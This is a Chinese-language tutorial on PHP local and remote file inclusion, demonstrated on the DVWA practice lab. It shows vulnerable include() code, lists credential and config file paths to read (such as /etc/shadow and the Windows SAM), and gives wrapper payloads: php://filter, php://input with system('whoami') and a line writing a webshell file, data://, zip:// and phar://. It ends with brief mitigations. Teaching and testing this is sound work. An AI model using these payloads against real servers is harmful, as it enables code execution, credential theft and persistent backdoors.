服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码并执行,从而节省时间避免再次编写,这种调用文件的过程被称为包含。但是如果开发人员没有对包含的文件来源进行严格的审查,导致包含了其它恶意文件,执行了非预期的代码,就会引发文件包含漏洞。
PHP中引发文件包含漏洞的函数有以下四种:
require()
require_once()
include()
include_once()
当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。
测试代码(test.php):
$file = $_GET['filename'];
include($file);
?>
在同目录下有个1.txt文件,内容为。
访问:
test.php?filename=1.txt
文件包含漏洞分为两类,“本地文件包含”和“远程文件包含”。想要实现远程文件包含,需要在 php.ini 文件中开启
allow_url_fopen = On
和 allow_url_include = On
远程包含的文件是第三方服务器的文件。本地包含就是包含本地服务器的文件
本地文件包含漏洞,顾名思义,指的是能包含本地文件的漏洞。上面的例子就是本地文件包含漏洞。大部分情况下我们遇到的文件包含漏洞都是本地包含漏洞。并且不受 allow_url_fopen = On
和 allow_url_include = On
的影响。
这里用的是 DVWA 的靶场环境,难度设置为 low。
查看一下源码,DVWA\vulnerabilities\fi\source\Low.php:
// The page we wish to display
$file = $_GET[ 'page' ];
?>
在 DVWA\vulnerabilities\fi\source\index.php中有:
if( isset( $file ) )
include( $file );
else {
header( 'Location:?page=include.php' );
exit;
}
可以看到 Low.php 被包含在其中,这就构成了文件包含漏洞,并且被包含的文件是可控的。
在 file1 同级目录下新建一个名为 test.txt 的文件,内容如下:
phpinfo();?>
访问:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=test.txt
我们还可以利用这个漏洞去读取一些其它的敏感文件,例:
下面是总结的一些常见的敏感目录信息。
Windows系统:
C:\Windows\win.ini // Windows系统的一个基本系统配置文件
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储 Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php配置信息
Linux/Unix系统:
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql配置文件
远程文件包含漏洞,是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。但远程文件包含漏洞的利用需要 php.ini 文件中
allow_url_fopen = On
allow_url_include = On
两个配置选项均需要为On,才能远程包含文件成功。
还是使用上面的靶场,在远程服务器新建文件 1.txt,文件内容还是
访问:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://192.168.50.131/1.txt
同样我们来读取一下Linux上的敏感文件:
PHP带有很多的封装协议,这些协议是我们使用文件包含漏洞时经常用到的方法,常见的协议有以下几种:
测试环境仍然是DVWA靶场
file://伪协议用于访问本地文件系统,读取文件的内容,
条件:对allow_url_fopen
与 allow_url_include
都不做要求。
用法:
?page=file://C:/Windows/win.ini
php://filter 可以获取指定文件源码。当它与包含函数结合时,php://filter 流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。
条件:对 allow_url_include
和 allow_url_fopen
都不做要求。
用法:
?page=php://filter/read=convert.base64-encode/resource=xxx.php
php://input
可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。
条件:allow_url_include = On,对 allow_url_fopen不做要求
注:当enctype=”multipart/form-data”时,php://input是无效的
system('whoami');?>
fputs(fopen('hack.php','w'),'');?>
可以看到我们的文件成功上传了。
接着就可以使用菜刀等工具连接了。
和 php://input
类似,也可以执行任意代码,但利用条件和用法不同
条件:allow_url_fopen
参数与 allow_url_include
都需开启
用法1:
?page=data:text/plain, 执行内容 ?>
?page=data:text/plain;base64,编码后的php代码
注:base64编码后的加号要手动的url编码。如果不手动url编码会报错。加号的url编码为%2b。
访问压缩包中的文件,不管后缀是什么,都会当做压缩包来解压。
条件:
用法:使用zip伪协议,需要指定绝对路径,而且压缩包文件和压缩包内的文件之间得用#,还要将#给URL编码为%23,之后填上压缩包内的文件。
?page=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
在本地新建文件 test.txt,并压缩成 test.rar 压缩包,访问:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=zip://C:/phpStudy/WWW/DVWA/vulnerabilities/fi/test.zip%23test.txt
注:这里需要注意 test.zip 必须是以zip压缩文件格式压缩!!其它像rar、7z这样的压缩文件格式就不行了。
与 zip:// 协议类似,但用法不同,zip:// 是用 # 把文件隔开,而 phar:// 是用/
把文件名隔开,即
?page=phar://[压缩文件路径]/[压缩文件内的子文件名]
条件:
还访问上面的 test.zip 文件
1、PHP 中使用 open_basedir 配置限制访问在指定的区域
2、过滤.(点)/(反斜杠)\(反斜杠)等特殊字符
3、尽量关闭 allow_url_include 配置